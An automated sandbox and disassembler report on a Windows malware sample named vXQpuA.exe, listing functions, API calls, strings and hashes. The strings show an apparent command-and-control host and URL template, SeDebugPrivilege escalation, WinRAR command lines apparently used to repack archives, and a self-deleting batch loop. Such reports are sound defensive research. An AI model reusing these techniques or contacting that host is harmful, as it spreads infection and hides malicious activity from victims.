C:\Windows\system32, xrefs: 00611656

Memory Dump Source

Source File: 00000001.00000002.2257346189.0000000000611000.00000020.00000001.01000000.00000004.sdmp, Offset: 00610000, based on PE: true

Associated: 00000001.00000002.2257326966.0000000000610000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257362941.0000000000613000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257378022.0000000000614000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257393688.0000000000616000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_610000_vXQpuA.jbxd

Similarity

API ID: CreateCurrentDirectoryFileLookupModuleNameObjectPathPrivilegeProcessSingleSystemTempThreadValueVersionWaitlstrcpy
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\vXQpuA.exe$C:\Windows\system32$Documents and Settings
API String ID: 123563730-542475441
Opcode ID: 63a3fb7ee5a35819c12fa68dfce180456dedf1e0bda332033de7eb1bb3e77268
Instruction ID: c1dcd9a03b00e10779a93785b5febaa4e8d71cddc91972bc84d479ab7e37c2ab
Opcode Fuzzy Hash: 63a3fb7ee5a35819c12fa68dfce180456dedf1e0bda332033de7eb1bb3e77268
Instruction Fuzzy Hash: BD11D6715001247BCF205BA0AD49EDB3EAFEF0B362F0D5016F30A992A0CA7145C0D7A1

Function 00612C48 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 50
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00612C57

Part of subcall function 00611973: PathFileExistsA.KERNELBASE(\Na`Na,00000000,C:\Users\user\AppData\Local\Temp\vXQpuA.exe), ref: 00611992
Part of subcall function 00611973: CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 006119BA
Part of subcall function 00611973: Sleep.KERNEL32(00000064), ref: 006119C6
Part of subcall function 00611973: wsprintfA.USER32 ref: 006119EC
Part of subcall function 00611973: CopyFileA.KERNEL32(?,?,00000000), ref: 00611A00
Part of subcall function 00611973: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00611A1E
Part of subcall function 00611973: GetFileSize.KERNEL32(?,00000000), ref: 00611A2C
Part of subcall function 00611973: VirtualAlloc.KERNELBASE(00000000,00000000,00003000,00000004), ref: 00611A46
Part of subcall function 00611973: ReadFile.KERNELBASE(?,?,00000000,?,00000000), ref: 00611A65

CreateThread.KERNELBASE(00000000,00000000,00612B8C,00000000,00000000,00000000), ref: 00612C99
WaitForMultipleObjects.KERNEL32(00000001,006116BA,00000001,000000FF,?,006116BA,00000000), ref: 00612CAC
VirtualFree.KERNEL32(007F0000,00000000,00008000,C:\Users\user\AppData\Local\Temp\vXQpuA.exe,00614E5C,00614E60,?,006116BA,00000000), ref: 00612CC2

Strings

C:\Users\user\AppData\Local\Temp\vXQpuA.exe, xrefs: 00612C69

Memory Dump Source

Source File: 00000001.00000002.2257346189.0000000000611000.00000020.00000001.01000000.00000004.sdmp, Offset: 00610000, based on PE: true

Associated: 00000001.00000002.2257326966.0000000000610000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257362941.0000000000613000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257378022.0000000000614000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257393688.0000000000616000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_610000_vXQpuA.jbxd

Similarity

API ID: File$Create$Virtual$AllocCopyExistsFreeMultipleObjectsPathReadSizeSleepThreadWaitmemsetwsprintf
String ID: C:\Users\user\AppData\Local\Temp\vXQpuA.exe
API String ID: 2042498389-3243034452
Opcode ID: 56fa2a4f66104d298270385df844c5d1f88bb007cc831c8059d5b28338dbec65
Instruction ID: e32badba721ac0a266cbaf12613a00ea936d93f0ddaab6ea5afafd462113c682
Opcode Fuzzy Hash: 56fa2a4f66104d298270385df844c5d1f88bb007cc831c8059d5b28338dbec65
Instruction Fuzzy Hash: DF01D4716412217BD75097949C1AEDF7FAEEF01B60F088115B605DA2C1D9A09990C7E0

Function 006114E1 Relevance: 4.6, APIs: 3, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 00611504
VirtualQuery.KERNEL32(006114E1,?,0000001C), ref: 00611525
ExitProcess.KERNEL32 ref: 0061157A

Memory Dump Source

Source File: 00000001.00000002.2257346189.0000000000611000.00000020.00000001.01000000.00000004.sdmp, Offset: 00610000, based on PE: true

Associated: 00000001.00000002.2257326966.0000000000610000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257362941.0000000000613000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257378022.0000000000614000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257393688.0000000000616000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_610000_vXQpuA.jbxd

Similarity

API ID: ExitHandleModuleProcessQueryVirtual
String ID:
API String ID: 3946701194-0
Opcode ID: 45bc568c5c4ad3140564c360a3f50f2ba585b756154b6dfa8a05430d767da7da
Instruction ID: a2fd11c28bec24ae4142ac9c0612d3fd795b0936b92c25b69937af3d7d429ef1
Opcode Fuzzy Hash: 45bc568c5c4ad3140564c360a3f50f2ba585b756154b6dfa8a05430d767da7da
Instruction Fuzzy Hash: 36115EB1D01215DFCF10DFA5B8856FD77BBEB85711B18A02BF602DB250E6348981EB50

Function 00611915 Relevance: 4.5, APIs: 3, Instructions: 41
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00611933
GetFileTime.KERNEL32(000000FF,?,?,?), ref: 00611947

Memory Dump Source

Source File: 00000001.00000002.2257346189.0000000000611000.00000020.00000001.01000000.00000004.sdmp, Offset: 00610000, based on PE: true

Associated: 00000001.00000002.2257326966.0000000000610000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257362941.0000000000613000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257378022.0000000000614000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257393688.0000000000616000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_610000_vXQpuA.jbxd

Similarity

API ID: FileTimememset
String ID:
API String ID: 176422537-0
Opcode ID: 323f1d4380aa0f9c77b46b170d48acb819f83beca1e49e3ab9416b907dd605e7
Instruction ID: 6573639a602018b0c992fb00b018dde77bb7bfe688e7d3fb707ba593f18ce745
Opcode Fuzzy Hash: 323f1d4380aa0f9c77b46b170d48acb819f83beca1e49e3ab9416b907dd605e7
Instruction Fuzzy Hash: BDF04432200219ABDB209E26DC04AE777EEAB55361F08893AF626D9150E730D685CBF0

Non-executed Functions

Function 0061119F Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(C:\Users\user\AppData\Local\Temp\vXQpuA.exe,?,?,?,?,?,?,006113EF), ref: 006111AB
OpenProcessToken.ADVAPI32(00000000,00000028,006113EF,?,?,?,?,?,?,006113EF), ref: 006111BB
AdjustTokenPrivileges.ADVAPI32(006113EF,00000000,?,00000010,00000000,00000000), ref: 006111EB
CloseHandle.KERNEL32(006113EF), ref: 006111FA
CloseHandle.KERNEL32(?,?,?,?,?,?,?,006113EF), ref: 00611203

Strings

C:\Users\user\AppData\Local\Temp\vXQpuA.exe, xrefs: 006111A5

Memory Dump Source

Source File: 00000001.00000002.2257346189.0000000000611000.00000020.00000001.01000000.00000004.sdmp, Offset: 00610000, based on PE: true

Associated: 00000001.00000002.2257326966.0000000000610000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257362941.0000000000613000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257378022.0000000000614000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257393688.0000000000616000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_610000_vXQpuA.jbxd

Similarity

API ID: CloseHandleProcessToken$AdjustCurrentOpenPrivileges
String ID: C:\Users\user\AppData\Local\Temp\vXQpuA.exe
API String ID: 75692138-3243034452
Opcode ID: 4e08de804a504ec6e4adaebbb4d77f36efdaad3e51f9830d01aa999529719246
Instruction ID: 6f18135594e1f7a0df20ab76b18cc6bb71d03768579fc764d29619b51f6aa1a3
Opcode Fuzzy Hash: 4e08de804a504ec6e4adaebbb4d77f36efdaad3e51f9830d01aa999529719246
Instruction Fuzzy Hash: 0101D675900219EFDB00DFD4C989AEEBBBAFB08345F14856AE606E2250D7715F849B50

Function 0061139F Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 109COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,?,00000104,C:\Users\user\AppData\Local\Temp\vXQpuA.exe), ref: 006113BC
LookupPrivilegeValueA.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 006113DA
GetCurrentProcessId.KERNEL32(-00000094,0000000C,0000000C,00000001), ref: 00611448

Part of subcall function 0061119F: GetCurrentProcess.KERNEL32(C:\Users\user\AppData\Local\Temp\vXQpuA.exe,?,?,?,?,?,?,006113EF), ref: 006111AB
Part of subcall function 0061119F: OpenProcessToken.ADVAPI32(00000000,00000028,006113EF,?,?,?,?,?,?,006113EF), ref: 006111BB
Part of subcall function 0061119F: AdjustTokenPrivileges.ADVAPI32(006113EF,00000000,?,00000010,00000000,00000000), ref: 006111EB
Part of subcall function 0061119F: CloseHandle.KERNEL32(006113EF), ref: 006111FA
Part of subcall function 0061119F: CloseHandle.KERNEL32(?,?,?,?,?,?,?,006113EF), ref: 00611203

Strings

SeDebugPrivilege, xrefs: 006113D3
C:\Users\user\AppData\Local\Temp\vXQpuA.exe, xrefs: 006113A8

Memory Dump Source

Source File: 00000001.00000002.2257346189.0000000000611000.00000020.00000001.01000000.00000004.sdmp, Offset: 00610000, based on PE: true

Associated: 00000001.00000002.2257326966.0000000000610000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257362941.0000000000613000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257378022.0000000000614000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257393688.0000000000616000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_610000_vXQpuA.jbxd

Similarity

API ID: Process$CloseCurrentHandleToken$AdjustLookupOpenPrivilegePrivilegesValueVersion
String ID: C:\Users\user\AppData\Local\Temp\vXQpuA.exe$SeDebugPrivilege
API String ID: 4123949106-3002367669
Opcode ID: 3ea71794a4073d5d2f578111ba73d48459f3c044b78bf94c9b870b004008e6ef
Instruction ID: c966b6fd8088b1b5583bffa806a919246786e2cd91d8e1efbb9f7041a00d03b2
Opcode Fuzzy Hash: 3ea71794a4073d5d2f578111ba73d48459f3c044b78bf94c9b870b004008e6ef
Instruction Fuzzy Hash: DD31A471D00219EADF20DBA5CC45FEEBBBAEB46704F14406AE714FA241D7309E85CB60

Function 0061239D Relevance: 56.2, APIs: 26, Strings: 6, Instructions: 239
sleepfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strstr.MSVCRT ref: 006123CC
CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00612464
GetFileSize.KERNEL32(00000000,00000000), ref: 00612472
CloseHandle.KERNEL32(?,00000000,00000000), ref: 006124A8
memset.MSVCRT ref: 006124B9
strrchr.MSVCRT ref: 006124C9
wsprintfA.USER32 ref: 006124DE
strrchr.MSVCRT ref: 006124ED
memset.MSVCRT ref: 006124F2
memset.MSVCRT ref: 00612505
wsprintfA.USER32 ref: 00612524
Sleep.KERNEL32(000007D0), ref: 00612535
Sleep.KERNEL32(000007D0), ref: 0061255D
memset.MSVCRT ref: 0061256E
wsprintfA.USER32 ref: 00612585
memset.MSVCRT ref: 006125A6
wsprintfA.USER32 ref: 006125CA
Sleep.KERNEL32(000007D0), ref: 006125D0
Sleep.KERNEL32(000007D0,?,?), ref: 006125E5
CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 006125FC
CloseHandle.KERNEL32(00000000,00000000,00000001), ref: 00612611
SetFilePointer.KERNEL32(FFFFFFFF,?,00000000,00000000), ref: 00612642
WriteFile.KERNEL32(?,00000006,?,00000000), ref: 0061265B
SetEndOfFile.KERNEL32 ref: 0061266D
CloseHandle.KERNEL32(00000000), ref: 00612676
RemoveDirectoryA.KERNEL32(?), ref: 00612681

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 006123B1, 006123B6, 006124CD
-ibck, xrefs: 006125BA
%s M %s -r -o+ -ep1 "%s" "%s\*", xrefs: 006125C4
%s X -ibck "%s" "%s\", xrefs: 0061251E
%s%s, xrefs: 006124D8
%s\, xrefs: 0061257F

Memory Dump Source

Source File: 00000001.00000002.2257346189.0000000000611000.00000020.00000001.01000000.00000004.sdmp, Offset: 00610000, based on PE: true

Associated: 00000001.00000002.2257326966.0000000000610000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257362941.0000000000613000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257378022.0000000000614000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257393688.0000000000616000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_610000_vXQpuA.jbxd

Similarity

API ID: File$memset$Sleepwsprintf$CloseHandle$Createstrrchr$DirectoryPointerRemoveSizeWritestrstr
String ID: %s M %s -r -o+ -ep1 "%s" "%s\*"$%s X -ibck "%s" "%s\"$%s%s$%s\$-ibck$C:\Users\user\AppData\Local\Temp\
API String ID: 2203340711-2750826870
Opcode ID: e5833b98aa60d7829c58d26d02b4704d7dffe51190f0019bc68034e01adacbcd
Instruction ID: d29305a30d1c4d73ae4f2543459749953b0431b80296214518ce14a78aefcb7c
Opcode Fuzzy Hash: e5833b98aa60d7829c58d26d02b4704d7dffe51190f0019bc68034e01adacbcd
Instruction Fuzzy Hash: 5981EFB1504305ABD710DF60DC48EEBBBEEFB88705F08491AF645D2290D7709A898BA6

Function 0061274A Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 83
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00612766
memset.MSVCRT ref: 00612774
SHGetSpecialFolderPathA.SHELL32(00000000,?,00000026,00000000), ref: 00612787
wsprintfA.USER32 ref: 006127AB

Part of subcall function 0061185B: GetSystemTimeAsFileTime.KERNEL32(?,ddos.dnsnb8.net,75A78400,http://%s:%d/%s/%s,?,?,?,00611118), ref: 00611867
Part of subcall function 0061185B: srand.MSVCRT ref: 00611878
Part of subcall function 0061185B: rand.MSVCRT ref: 00611880
Part of subcall function 0061185B: srand.MSVCRT ref: 00611890
Part of subcall function 0061185B: rand.MSVCRT ref: 00611894

wsprintfA.USER32 ref: 006127C6
CopyFileA.KERNEL32(?,00614C80,00000000), ref: 006127D4
wsprintfA.USER32 ref: 006127F4

Part of subcall function 00611973: PathFileExistsA.KERNELBASE(\Na`Na,00000000,C:\Users\user\AppData\Local\Temp\vXQpuA.exe), ref: 00611992
Part of subcall function 00611973: CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 006119BA
Part of subcall function 00611973: Sleep.KERNEL32(00000064), ref: 006119C6
Part of subcall function 00611973: wsprintfA.USER32 ref: 006119EC
Part of subcall function 00611973: CopyFileA.KERNEL32(?,?,00000000), ref: 00611A00
Part of subcall function 00611973: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00611A1E
Part of subcall function 00611973: GetFileSize.KERNEL32(?,00000000), ref: 00611A2C
Part of subcall function 00611973: VirtualAlloc.KERNELBASE(00000000,00000000,00003000,00000004), ref: 00611A46
Part of subcall function 00611973: ReadFile.KERNELBASE(?,?,00000000,?,00000000), ref: 00611A65

DeleteFileA.KERNEL32(?,?,00614E54,00614E58), ref: 0061281A
CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000004,00000000,00000000,?,00614E54,00614E58), ref: 00612832

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 006127B6
c_31892.nls, xrefs: 006127DE
\WinRAR\Rar.exe, xrefs: 00612793
%s%s, xrefs: 006127A5
%s%.8x.exe, xrefs: 006127BB
C:\Windows\system32, xrefs: 006127E3
%s\%s, xrefs: 006127EE

Memory Dump Source

Source File: 00000001.00000002.2257346189.0000000000611000.00000020.00000001.01000000.00000004.sdmp, Offset: 00610000, based on PE: true

Associated: 00000001.00000002.2257326966.0000000000610000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257362941.0000000000613000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257378022.0000000000614000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257393688.0000000000616000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_610000_vXQpuA.jbxd

Similarity

API ID: File$wsprintf$Create$CopyPathTimememsetrandsrand$AllocDeleteExistsFolderReadSizeSleepSpecialSystemVirtual
String ID: %s%.8x.exe$%s%s$%s\%s$C:\Users\user\AppData\Local\Temp\$C:\Windows\system32$\WinRAR\Rar.exe$c_31892.nls
API String ID: 692489704-613076915
Opcode ID: 15e9dd4a0b9731c3da93ed45c0e02bc8acf8e0dc5e159c636082fd85638452fd
Instruction ID: 99ddcd6f3c82f4a4693d06aa8e122afffab516f0324024e02aaa2eb2293fad81
Opcode Fuzzy Hash: 15e9dd4a0b9731c3da93ed45c0e02bc8acf8e0dc5e159c636082fd85638452fd
Instruction Fuzzy Hash: 1521A7F694022C7BDB10EBA49C89FDB77AEDB04745F0944A2B605E3141E670DFC48AA0

Function 00611581 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 67filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0061185B: GetSystemTimeAsFileTime.KERNEL32(?,ddos.dnsnb8.net,75A78400,http://%s:%d/%s/%s,?,?,?,00611118), ref: 00611867
Part of subcall function 0061185B: srand.MSVCRT ref: 00611878
Part of subcall function 0061185B: rand.MSVCRT ref: 00611880
Part of subcall function 0061185B: srand.MSVCRT ref: 00611890
Part of subcall function 0061185B: rand.MSVCRT ref: 00611894

wsprintfA.USER32 ref: 006115AA
wsprintfA.USER32 ref: 006115C6
lstrlen.KERNEL32(?), ref: 006115D2
CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000002,00000000,00000000), ref: 006115EE
WriteFile.KERNEL32(00000000,?,00000000,00000001,00000000), ref: 00611609
CloseHandle.KERNEL32(00000000), ref: 00611612
ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,00000000), ref: 0061162D

Strings

open, xrefs: 00611627
C:\Users\user\AppData\Local\Temp\, xrefs: 00611599
%s%.8x.bat, xrefs: 006115A4
C:\Users\user\AppData\Local\Temp\vXQpuA.exe, xrefs: 0061158A, 006115B3, 006115B8, 006115B9
:DELFILEdel "%s"if exist "%s" goto :DELFILEdel "%s", xrefs: 006115C0

Memory Dump Source

Source File: 00000001.00000002.2257346189.0000000000611000.00000020.00000001.01000000.00000004.sdmp, Offset: 00610000, based on PE: true

Associated: 00000001.00000002.2257326966.0000000000610000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257362941.0000000000613000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257378022.0000000000614000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257393688.0000000000616000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_610000_vXQpuA.jbxd

Similarity

API ID: File$Timerandsrandwsprintf$CloseCreateExecuteHandleShellSystemWritelstrlen
String ID: %s%.8x.bat$:DELFILEdel "%s"if exist "%s" goto :DELFILEdel "%s"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\vXQpuA.exe$open
API String ID: 617340118-1385103046
Opcode ID: 599c55488f01ca2a130f29a4e2ee38253271e9c739d5482064136c43223fe9b5
Instruction ID: 682dd6be1649bc4cf1145427bd67510adcabb956e54ac084ab20c58eadce3696
Opcode Fuzzy Hash: 599c55488f01ca2a130f29a4e2ee38253271e9c739d5482064136c43223fe9b5
Instruction Fuzzy Hash: 77119476A011387ED720D7A49C89DEB7BBDDF19311F080052F94AE2240DA709BC48BB0

Function 0061120E Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 93librarymemoryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,ZwQuerySystemInformation,00000104,?,?,?,?,00611400), ref: 00611226
GetProcAddress.KERNEL32(00000000), ref: 0061122D
GetCurrentProcessId.KERNEL32(?,?,?,?,00611400), ref: 0061123F
OpenProcess.KERNEL32(00000400,00000000,00000000,?,?,?,?,00611400), ref: 00611250
VirtualFree.KERNEL32(00000000,00000000,00008000,?,C:\Users\user\AppData\Local\Temp\vXQpuA.exe,?,?,?,?,00611400), ref: 0061129E
VirtualAlloc.KERNEL32(00000000,00050000,00003000,00000004,00000001,?,C:\Users\user\AppData\Local\Temp\vXQpuA.exe,?,?,?,?,00611400), ref: 006112B0
CloseHandle.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\vXQpuA.exe,?,?,?,?,00611400), ref: 006112F5
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,?,00611400), ref: 0061130A

Strings

ntdll.dll, xrefs: 00611219
ZwQuerySystemInformation, xrefs: 00611212
C:\Users\user\AppData\Local\Temp\vXQpuA.exe, xrefs: 00611262

Memory Dump Source

Source File: 00000001.00000002.2257346189.0000000000611000.00000020.00000001.01000000.00000004.sdmp, Offset: 00610000, based on PE: true

Associated: 00000001.00000002.2257326966.0000000000610000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257362941.0000000000613000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257378022.0000000000614000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257393688.0000000000616000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_610000_vXQpuA.jbxd

Similarity

API ID: Virtual$FreeHandleProcess$AddressAllocCloseCurrentModuleOpenProc
String ID: C:\Users\user\AppData\Local\Temp\vXQpuA.exe$ZwQuerySystemInformation$ntdll.dll
API String ID: 1500695312-3879772653
Opcode ID: ab977b0bf03033fcf6d4b8769805b82876ed538d935d0c29cc7465caab51d712
Instruction ID: 985721c64ea5cc395d24c478363774f2c887ad37c5db5a3bdf41059701d51842
Opcode Fuzzy Hash: ab977b0bf03033fcf6d4b8769805b82876ed538d935d0c29cc7465caab51d712
Instruction Fuzzy Hash: 3F21D771605361ABD7209B65CC04BEBBAAAFB4AB01F184919F646DA340C770DBC4C7A5

Function 00611000 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 60fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000003,C0000000,00000003,00000000,00000003,00000080,00000000,HGa,http://%s:%d/%s/%s,006110E8,?), ref: 00611018
GetFileSize.KERNEL32(00000000,00000000,ddos.dnsnb8.net,75A78400), ref: 00611029
CreateFileMappingA.KERNEL32(00000000,00000000,00000004,00000000,00000000,00000000), ref: 00611038
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000000), ref: 0061104B
UnmapViewOfFile.KERNEL32(00000000), ref: 00611075
CloseHandle.KERNEL32(?), ref: 0061108B
CloseHandle.KERNEL32(00000000), ref: 0061108E

Strings

HGa, xrefs: 00611001
http://%s:%d/%s/%s, xrefs: 00611000
ddos.dnsnb8.net, xrefs: 00611026

Memory Dump Source

Source File: 00000001.00000002.2257346189.0000000000611000.00000020.00000001.01000000.00000004.sdmp, Offset: 00610000, based on PE: true

Associated: 00000001.00000002.2257326966.0000000000610000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257362941.0000000000613000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257378022.0000000000614000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257393688.0000000000616000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_610000_vXQpuA.jbxd

Similarity

API ID: File$CloseCreateHandleView$MappingSizeUnmap
String ID: HGa$ddos.dnsnb8.net$http://%s:%d/%s/%s
API String ID: 1223616889-3642003181
Opcode ID: 12b195d546a3f3772b7636684453fd69e175231f8f602ea36ecce1c467889698
Instruction ID: f2d3be2e2a63dfecc4ec3e3c9782bfd0088d76e2a1ea5dc42383253195b4c8fd
Opcode Fuzzy Hash: 12b195d546a3f3772b7636684453fd69e175231f8f602ea36ecce1c467889698
Instruction Fuzzy Hash: 98019B7150035CBFE7305F609C88EAB7BEEDB4879AF09452AF345A6290DA705E848B70

Function 0061189D Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 51processsynchronizationCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 006118B1
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,0C000000,00000000,00000000,?,?,000007D0,75920F00,75A78400), ref: 006118D3
CloseHandle.KERNEL32(I%a), ref: 006118E9
WaitForSingleObject.KERNEL32(?,000000FF), ref: 006118F0
GetExitCodeProcess.KERNEL32(?,?), ref: 00611901
CloseHandle.KERNEL32(?), ref: 0061190A

Strings

I%a, xrefs: 006118E0

Memory Dump Source

Source File: 00000001.00000002.2257346189.0000000000611000.00000020.00000001.01000000.00000004.sdmp, Offset: 00610000, based on PE: true

Associated: 00000001.00000002.2257326966.0000000000610000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257362941.0000000000613000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257378022.0000000000614000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257393688.0000000000616000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_610000_vXQpuA.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateExitObjectSingleWaitmemset
String ID: I%a
API String ID: 876959470-1380773492
Opcode ID: 8a20773ffe8ef1e38377cc4d2965ed3136cfa0f98957d7a39b01080fbd3c7590
Instruction ID: cde36df8c25317c441865b7b1ab77e7c391a828d342c310b196f82e5228e60da
Opcode Fuzzy Hash: 8a20773ffe8ef1e38377cc4d2965ed3136cfa0f98957d7a39b01080fbd3c7590
Instruction Fuzzy Hash: 3A017176901128BBCB216B95DC48DDF7F7EEF85761F148022FA16A52A0D6314A58CBA0

Function 0061185B Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 31timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?,ddos.dnsnb8.net,75A78400,http://%s:%d/%s/%s,?,?,?,00611118), ref: 00611867
srand.MSVCRT ref: 00611878
rand.MSVCRT ref: 00611880
srand.MSVCRT ref: 00611890
rand.MSVCRT ref: 00611894

Strings

http://%s:%d/%s/%s, xrefs: 00611860
ddos.dnsnb8.net, xrefs: 00611862

Memory Dump Source

Source File: 00000001.00000002.2257346189.0000000000611000.00000020.00000001.01000000.00000004.sdmp, Offset: 00610000, based on PE: true

Associated: 00000001.00000002.2257326966.0000000000610000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257362941.0000000000613000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257378022.0000000000614000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257393688.0000000000616000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_610000_vXQpuA.jbxd

Similarity

API ID: Timerandsrand$FileSystem
String ID: ddos.dnsnb8.net$http://%s:%d/%s/%s
API String ID: 4106363736-3273462101
Opcode ID: 5b2a3ba0cc0e8a45e92f6f89c7fdc23e68e34c608cc2efe2e1651b208a42e24a
Instruction ID: c1b5b4cf5bb4b794c46a5da15c6d932d7a54522c4de6e93580757275ac153ae0
Opcode Fuzzy Hash: 5b2a3ba0cc0e8a45e92f6f89c7fdc23e68e34c608cc2efe2e1651b208a42e24a
Instruction Fuzzy Hash: 55E0D877A00228BBDB00A7F9EC468DEBBECDE88162B140567F601D3350E570FD448AB8

Function 00612692 Relevance: 12.1, APIs: 8, Instructions: 64stringsynchronizationCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000000,00000001,00000000,7591E800,?,?,006129DB,?,00000001), ref: 006126A7
WaitForSingleObject.KERNEL32(00000000,000000FF,7591E800,?,?,006129DB,?,00000001), ref: 006126B5
lstrlen.KERNEL32(?), ref: 006126C4
??2@YAPAXI@Z.MSVCRT ref: 006126CE
lstrcpy.KERNEL32(00000004,?), ref: 006126E3
